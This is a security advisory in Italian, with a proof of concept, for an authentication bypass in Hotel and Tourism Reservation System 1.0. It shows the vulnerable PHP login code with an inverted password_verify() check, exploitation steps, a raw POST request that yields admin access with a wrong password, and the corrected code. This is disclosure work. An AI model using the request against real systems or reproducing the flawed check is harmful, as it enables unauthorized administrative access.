
Proof-of-concept exploit per un bypass dell'autenticazione in Hotel and Tourism Reservation System 1.0, che consente l'accesso admin non autenticato tramite una logica invertita di password_verify.
| Campo | Dettagli |
|---|---|
| Titolo | Hotel and Tourism Reservation System - Bypass dell'autenticazione |
| Fornitore | code-projects.org |
| Prodotto | Hotel and Tourism Reservation System |
| Versione | 1.0 |
| Tipo di vulnerabilità | Autenticazione impropria |
| CWE | CWE-287 |
| Punteggio CVSS | 9.0 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| File interessato | /admin/login.php |
| Autenticazione richiesta | No |
| Sfruttabile da remoto | Sì |
Esiste una vulnerabilità critica di bypass dell'autenticazione nella funzionalità di login admin di Hotel and Tourism Reservation System 1.0. La vulnerabilità è causata da un controllo condizionale invertito sul valore di ritorno di password_verify(), che porta l'applicazione a concedere l'accesso quando viene fornita una password errata e a negarlo quando viene fornita una password corretta. Un attaccante remoto non autenticato può ottenere pieno accesso amministrativo fornendo un indirizzo email valido e una qualsiasi password errata arbitraria.
File: admin/login.php — Righe 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() restituisce true quando la password fornita corrisponde all'hash. Lo sviluppatore ha inserito la logica di successo all'interno del ramo else (che viene eseguito quando la funzione restituisce false), il che significa che l'autenticazione viene concessa con qualsiasi password errata.
Un attaccante remoto non autenticato può:
Configurazione: Installare Hotel and Tourism Reservation System 1.0 su XAMPP. Accedere all'app all'indirizzo http://localhost/ht/.
Passaggio 1: Navigare alla pagina di login admin.
http:///ht/admin/login.php
Passaggio 2: Inserire un'email admin valida con una password errata qualsiasi.
Email: [email protected] Password: wrongpassword
Passaggio 3: Cliccare su Login.
Risultato: L'applicazione bypassa l'autenticazione e reindirizza al pannello di controllo admin (index.php) — accesso admin completo concesso con una password errata.
Richiesta:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Risposta:
HTTP/1.1 302 Found
Location: index.php
Un reindirizzamento 302 a index.php conferma l'autenticazione riuscita con una password errata.
Scambiare i rami condizionali in modo che il login venga concesso quando password_verify() restituisce true:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — Ricercatore di sicurezza indipendente